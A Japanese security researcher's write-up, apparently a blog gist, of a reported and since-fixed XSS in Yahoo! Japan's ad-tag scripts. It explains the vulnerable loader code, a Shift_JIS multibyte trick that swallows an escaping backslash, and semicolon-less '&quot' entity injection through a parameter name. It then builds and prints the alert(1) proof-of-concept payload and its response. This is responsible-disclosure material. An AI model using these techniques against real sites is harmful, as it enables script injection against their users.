以下の記事の続きです。
https://gist.github.com/masatokinugawa/304d243b6a5142500b9b9efb3fb540c0
今回は、前回の記事に比べると、テクニカルなXSSの解説寄りです。 この知識が多くの人にとってどれほど役に立つかはわかりませんが、攻撃を通すまでのステップが複雑で面白かったので共有したいと思います。
var url_strings = [];
var url_params = parseQuery(location.href);
var proto = ((location.protocol === 'https:')? 'https:' : 'http:');
var entry = proto + '//yads.yjtag.yahoo.co.jp/tag?'
for (var f in url_params) {
if (f != 'tag_path') {
if (f.match(/^[\w-]+$/)) {
var v = url_params[f];
url_strings.push(f + '=' + window.encodeURIComponent(escapeString(v, false)));
}
}
}
document.write('<script type="text/javascript" src="'
+ entry
+ url_strings.join('&')
+ '"></scr' + 'ipt>' );
現在の動作は:
tag_path
からURLを受け取らなくなった。- //yads.yjtag.yahoo.co.jp/tag 固定で、クエリのみ受け取り、
document.write()
でロード。
この固定のリソースの内容によってはまだXSSが起こるかもしれない。詳しく見てみる。
直接アクセスしても空ページで、パラメータが必須のようだ。 適当に検索してでてきたうまく出力を返すURLがこちら: http://yads.yjtag.yahoo.co.jp/tag?s=25597_3463&t=j&ssl=0&fr_id=yads_6355999-0&xd_support=1&fl_support=10&fr_support=1&enc=UTF-8&pv_ts=1484114296347-5734451&page=1&sid=2077296265&u=http%3A%2F%2Fwww.yahoo.co.jp%2F&tagpos=285x780
yadsRequestAdUrl({"adUrl":"http://im.ov.yahoo.co.jp/tag/?adprodset=25597_3463-145378-158867&vimps_mode=3&enc=UTF-8&pvId=7b94f415d2bc2de6bbd2f733a22abbb0&sid=2077296265&u=http%3a%2f%2fwww.yahoo.co.jp%2f&yads_ds=25597_3463","outputType":"js_single","p_elem":""});
- パラメータに応じて異なる出力をするJSONP。
- callback名は指定できない( = callback部分からXSSはできない。)
adUrl
にパラメータの多くが引き渡されている。yadsRequestAdUrl
関数は、adUrl
部分をさらにスクリプトとしてロードする。
yadsRenderAd_v2([' <div id="tct" class="bx bxSl"><h2>[PR]</h2> 省略、広告HTML'],{"adprodset_code":"25597_3463-145378-158867","callback":"","js_file_name":"","noad_callback":"","output_type":"js_single","pos_info":[{"p_elem":"","viewable_info":null}],"request_id":"711af293ed0def4b7f8aa332fd8740cc","tracking_url":null,"vimps_mode":3});
- こっちもJSONP(のような形式)、callback指定は効かない。
- 広告のHTMLが入っており、ページ内に書き出される。
パラメータを追加することで攻撃可能な出力を作れる場合があるかも?どんなパラメータでどんな出力を返すか調べてみる。
-
enc=UTF-8
はエンコーディングを指定している。UTF-8の他に、EUC-JPとShift_JIS を設定できるようだ。指定すると2番目のスクリプトのレスポンスヘッダが、Content-Type:text/javascript; charset=Shift_JIS
のようになる。 -
2番目のスクリプトに含まれているJSONのnoad_callback部分に
noad_cb
というパラメータから文字列が入る。 -
noad_callbackでは
"
->\"
、\
->\\
というように、文字列リテラルから抜けられないよう適切にエスケープがされている。 -
enc=Shift_JIS
にしてShift_JISのマルチバイト表現の先頭のバイトのみをnoad_cb
に渡してみる。%8F"
と入れると、十"
という出力になった。エスケープシーケンスの\
が0x8Fに喰われて漢字の十
(0x8F5C)になっている。
従って、次のようにすると、このJSONから抜け出し任意のスクリプトを置けることになる:
http://im.ov.yahoo.co.jp/tag/?[略]&enc=Shift_JIS&noad_cb=%8F%22})%3Balert(1)//
yadsRenderAd_v2(... { ... ,"noad_callback":"十"});alert(1)//", ...});
あとは、最初のページ -> スクリプト1 -> スクリプト2 というようにパラメータを渡せば、XSSを実行できるように思える。ところが...
最初のページに戻ろう。 次のコードはパラメータ名と値のペアを作る部分の一部だ:
ret[fldVal[0]] = window.decodeURIComponent(fldVal[1]);
パラメータの値はここで decodeURIComponent
にかけられるため、一度UTF-8でデコードできる必要がある。 noad_cb=%8F"
を直接渡すとデコードに失敗してしまうので、 noad_cb=%E3%81%8F"
(UTF-8では く"
) のようにデコードできる形にする。このバイト列が、Shift_JISが指定されている2番目のスクリプトに渡った場合、JSON中で 縺十"
(0xE381 0x8F5C ") となり、エスケープシーケンスを喰うことにも成功する。障害1解決。
以下はパラメータ名を検証している部分。( f
がパラメータ名、 v
がその値。)
if (f.match(/^[\w-]+$/)) {
var v = url_params[f];
url_strings.push(f + '=' + window.encodeURIComponent(escapeString(v, false)));
}
- パラメータ名が
\w
(0-9a-zA-Z_) と-
に制限されている。 - 有効な値なら、名前と値のペアを配列に入れて、
document.write()
時にクエリとして追加する。 - パラメータの値は
escapeString
関数にかけられる。
escapeString
関数は <>"'
を文字参照化する関数:
function escapeString(in_str, escape_amp) {
var escaped_str = in_str.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
if (escape_amp) {
escaped_str = escaped_str.replace(/&/g, "&");
}
return escaped_str;
}
パラメータの値は文字参照化されたあと、 encodeURIComponent
によってエンコードされる。従って、く"
-> く"
-> %E3%81%8F%26quot%3B
となってしまい、 パラメータの値に "
を直接渡すことができない。困った。
ここで、 document.write()
でロードする部分をみてみよう:
document.write('<script type="text/javascript" src="'
+ entry
+ url_strings.join('&')
+ '"></scr' + 'ipt>' );
パラメータ名=値
のペアを &
で連結している。本来、確実にクエリのセパレータとして &
記号を使いたいのなら、 &
を使うべきだ。なぜなら、属性値中では、文字参照による表記が許されており、例えば、 <
のように、 &
の後ろに文字参照と解釈される文字列が続いた場合、その &
はもはや別の文字になってしまうからだ。この &
を、文字参照の先頭の &
に利用することはできないだろうか? パラメータ名に使える文字が、 \w
と -
に制限されているため、 "
を直接置くことはできない。ところが、一部の文字参照は互換性の理由から ;
を省略して表記できる。例えば、"
(")、<
(<)、>
(>)などは、"
、<
、>
のように ;
を省略してもその文字と解釈される。(ちなみにHTMLで使える文字実体参照の完全なリストはこちら: https://html.spec.whatwg.org/multipage/syntax.html#named-character-references)
この動作を使えば、 quot
というパラメータ名を渡すことで、パラメータの連結時に "
、すなわち "
が属性値に作られることになる。ただし、使える文字の制限により、"
の後続の文字も工夫しなければならない。なぜなら、属性値中では、後続の文字によって、文字参照と解釈されない時があるからだ。
こういっておきながら、この動作はあまり自分でも厳密に把握していなかったので、ここで、0x00 から 0x7F までのバイト値を "
の後ろに並べて、"
と解釈されるかをテストしてみることにする。以下がその結果だ。
赤字でinvalidと書かれた列にある文字が、うまく "
にならなかったことを表している。
https://jsfiddle.net/xn2vb92g/
この結果から、属性値中では、現在の大抵のブラウザは、;
を省略可能な文字参照の後ろに、アルファベット数字か =
が続いた場合は無効な実体参照とみなすことがわかる。(ちなみに、テキストノード中ではそのような制限はないようだ https://jsfiddle.net/n4unkaxq/ ) おそらくこの制限は、クエリのセパレータの &
が間違って参照表記と解釈される可能性を軽減するためだと思われる。
このことから、" の後ろに続けても "
になる文字は、\w
と -
の制限のもとでは _
か -
だけということがわかる。
このうち、 _
はJavaScriptで識別子に使う文字であり、文字列リテラルの後続にくるのはおかしい。-
は演算子であり、文字列リテラルの後続にこれる。以上から、次の文字は -
と決まる。 (※ &
を続けて ;
を省略できる別の文字参照を続けて書いていくのもありかもしれないが試していない。)
現在の状況はこうなっている(簡単にするため、noad_cb以外の部分は省略している):
最初のページのパラメータ: noad_cb=く"-
スクリプト2のパラメータ: noad_cb=く"-
yadsRenderAd_v2({"noad_callback":"縺十"- [ここを作り中] "})
マイナス記号の後ろはまだ \w
と -
の制限の中にいる。従って、まだ alert(1)
のような攻撃ペイロードは続けられない。ひとまず、 -
の後ろには減算できる値がこないといけないので、数値を置くことにする。
最初のページのパラメータ: noad_cb=く"-0
スクリプト2のパラメータ: noad_cb=く"-0
yadsRenderAd_v2({"noad_callback":"縺十"-0 [ここを作り中] "})
これ以上、パラメータ名の側でやれることはないので、パラメータの値側に移動し、ペイロードを書いていくことにする。まず、パラメータ名と値の区切りの =
を置く。
最初のページのパラメータ: noad_cb=く"-0=
スクリプト2のパラメータ: noad_cb=く"-0=
yadsRenderAd_v2({"noad_callback":"縺十"-0= [ここを作り中] "})
最初のページにとっては quot-0
までがパラメータ名ということになる。
=
以降はもはや \w
と -
の制限はない。 alert(1)
を書く最後の準備をしよう。
"縺十"-0
へ =
で代入するのは構文上おかしいので、イコールをさらに続けて比較演算子の形にする。このとき、イコールを直接書くと、パラメータ名と値のペアを作る関数中の params[i].split('=')
により、途中で分割されてしまうので、 %3D
という風にエンコードして渡す。
最初のページのパラメータ: noad_cb=く"-0=%3D
スクリプト2のパラメータ: noad_cb=く"-0==
yadsRenderAd_v2({"noad_callback":"縺十"-0== [ここを作り中] "})
何と比較すればよいか? alert(1)
と比較すればよい。
最初のページのパラメータ: noad_cb=く"-0=%3Dalert(1)
スクリプト2のパラメータ: noad_cb=く"-0==alert(1)
yadsRenderAd_v2({"noad_callback":"縺十"-0==alert(1) [ここを作り中] "})
あとはうまくJSONと関数から抜けてコメントアウトするだけだ。
最初のページのパラメータ: noad_cb=く"-0=%3Dalert(1)})//
スクリプト2のパラメータ: noad_cb=く"-0==alert(1)})//
yadsRenderAd_v2({"noad_callback":"縺十"-0==alert(1)})//"})
こうして、障害2解決 & XSSができることを証明できた。
最後に報告したPoCをそのままのせておく。 次のような流れで、最初のページ -> スクリプト1 -> スクリプト2 というようにパラメータを引き渡し、XSSに成功した。(※ encとnoad_cb以外のパラメータは単に表示のために必須のパラメータ。)
yadsRequestAdUrl({"adUrl":"http://im.ov.yahoo.co.jp/tag/?adprodset=25597_3463-145378-158867&noad_cb=%e3%81%8f%22-0%3d%3dalert(1)%7d)%2f%2f&vimps_mode=3&enc=shift_jis&pvId=6fa955f8fa2746ec5abe8c694cb33781&u=http%3a%2f%2fyahoo.co.jp%2f&yads_ds=25597_3463","outputType":"js_single","p_elem":""});
yadsRenderAd_v2([' <div id="tct" class="bx bxSl"><h2>[PR]</h2><ul><li><a target="_top" href="//rd.ane.yahoo.co.jp/rd?ep=v0osEIBN4hiEyiTJ1i11af48mCeQ1aPWGuXUwRUHAE8UBQtfnI.6Mp22wdidNCY6LU.3e37gSSeTEar_BSMJz0puTE23xIScSK7oCV899tN69GODwhlMpM2TA5yNSnies3nbrnjTNF9Yl9tdjcoCiICwSMFwtI32qX8McSdzHPYqXXn8pryEMxBkq3dL991OpDsWwmsbMpd.PGGh06pY81fSkgJod6dCu_mmvstYz58NOKOG9SMTC_ZTc2qxJercuApVUUhiyM284tBDrv3HwDGohUDnHla6eoV.QyysQ9wNBES9d5uT9NHJjWcF_rux5aPssMMqkR1vzAkebfyXBv_pY2wXPahUIX0DyKMgmLXKeRdCHAz0w08-&a=HgAWOmo_xD5_4SBrqg--&s=BEdl6YQ0xWrt&t=HcTRQqJhwyu7&ifa=VG8mDFM-&cv_label=9fWBYQBN9g.U&tpl_id=qnfPzi08&tpl_path=VG8mDFM-&ctv_optmz=4bAM5jY9&disp_atime=85GTLNw9kmeFtTLMY1kN&vflg=qnfPzi08&C=9&D=1&F=0&I=60140100100%7C80110200100%7C80130100100&RI=5e18599f890f89f4d72dcda4e629e34c&S=&as=1&etlid=0&f=16&ff=0&fq_d=0%2C0%2C0%2C0&fq_m=0%2C0%2C0%2C0&fq_w=0%2C0%2C0%2C0&g=9&lp=http%3A%2F%2Ftr.webantenna.info%2Frd%3Fwaad%3D2dwtsg0d%26ga%3DWAEj2M-1&maf=0&mid=0&o=9&p=9&qfid=&r=0&rfm=&sfid=0&skwid=0&tlid=0&u=_OTHER_&yads_ds=25597_3463&v=2">審査が通るカードローン?当日融資今すぐ/提携</a></li></ul><h2>[PR]</h2><ul><li><a target="_top" href="//rd.ane.yahoo.co.jp/rd?ep=UZSxsFZN4hgfFnVHxQ0a081PMEgzT2Y79wRvvM5Uk9LjKyxHE3pVSsWEHqtH5zZpLU2U9clG3k.Tlt1q03DV5xDdHzIL6lOG24jE..2sfTgpOz65YNkRwZnUC.x6Uai27p8fXWM8Os_BHEMakMmbM8qA0f8EZ2JjPwP9FvVBGssXzcsQzDoGdyRCM_eDs.MWdk0YTcU_B9NeHoYy2KUcdLJ4uRmgg0ow4INe4c6ecwrVyweGyqFn2zDfJ.vyrRoXWPaMFEuoqe7IfRTeie7M0QrbrxYiUdZCwdFdqvNiApsy9p2TJKlGtMOF0Qe7_CIDN3aJ0jU_ENDgVrjV9FgotfVZcywtznWJTHpy_1WDmbqGk_WUBaCEECIBuQ--&a=NaA88q8_xD77X3_4ZA--&s=BEdl6YQ0xWrt&t=HcTRQqJhwyu7&ifa=VG8mDFM-&cv_label=9fWBYQBN9g.U&tpl_id=qnfPzi08&tpl_path=VG8mDFM-&ctv_optmz=4bAM5jY9&disp_atime=85GTLNw9kmeFtTLMY1kN&vflg=qnfPzi08&C=9&D=1&F=0&I=60140100250%7C80110200100%7C90100100000&RI=5e18599f890f89f4d72dcda4e629e34c&S=&as=1&etlid=0&f=16&ff=0&fq_d=0%2C0%2C0%2C0&fq_m=0%2C0%2C0%2C0&fq_w=0%2C0%2C0%2C0&g=9&lp=http%3A%2F%2Ftr.webantenna.info%2Frd%3Fwaad%3DDoZpHGDB%26ga%3DWAEj2M-1&maf=0&mid=0&o=9&p=9&qfid=&r=0&rfm=&sfid=0&skwid=0&tlid=0&u=_OTHER_&yads_ds=25597_3463&v=2">ローンをまとめて完済を目指しませんか?/比較</a></li></ul></div> '],{"adprodset_code":"25597_3463-145378-158867","callback":"","js_file_name":"","noad_callback":"縺十"-0==alert(1)})//","output_type":"js_single","pos_info":[{"p_elem":"","viewable_info":null}],"request_id":"5e18599f890f89f4d72dcda4e629e34c","tracking_url":null,"vimps_mode":3});
2/9 に報告。
その後しばらくして、パラメータの連結に使われる文字列を &
から &
に変更、 さらに、noad_callbackに指定できる文字列がアルファベットと数字程度に制限されることで修正された。
そもそも、noad_callbackっていういかにもどこかの場面でcallback関数として使いそうな雰囲気のパラメータを外部から指定できていいのかが疑問。まあ、今は指定できる文字が制限されたので、仮に使える場面があっても、おおよそ大丈夫かもしれない。パラメータは推測するしかないので、まだ変な出力をするパラメータがないともいえないけど、自分は他には知りません。
- パラメータで出力が変わるリソースに、ロード元から第三者がパラメータを追加できる場合に、XSSできる可能性があります。(今回のケースは特殊ですが、ロードされるスクリプトがJSONPで、callback名をいじれてしまってXSSが起こる状況はありがちです。) そのような作りの箇所では、決められた名前のパラメータ以外を渡せない作りにするか、ロードされるリソース側で危険な出力が起こらない作りにすることをおすすめします。
- 属性値中の
&
は、他の実体参照表記の一部と解釈されないことを確実にするために、&
に置換するべきです。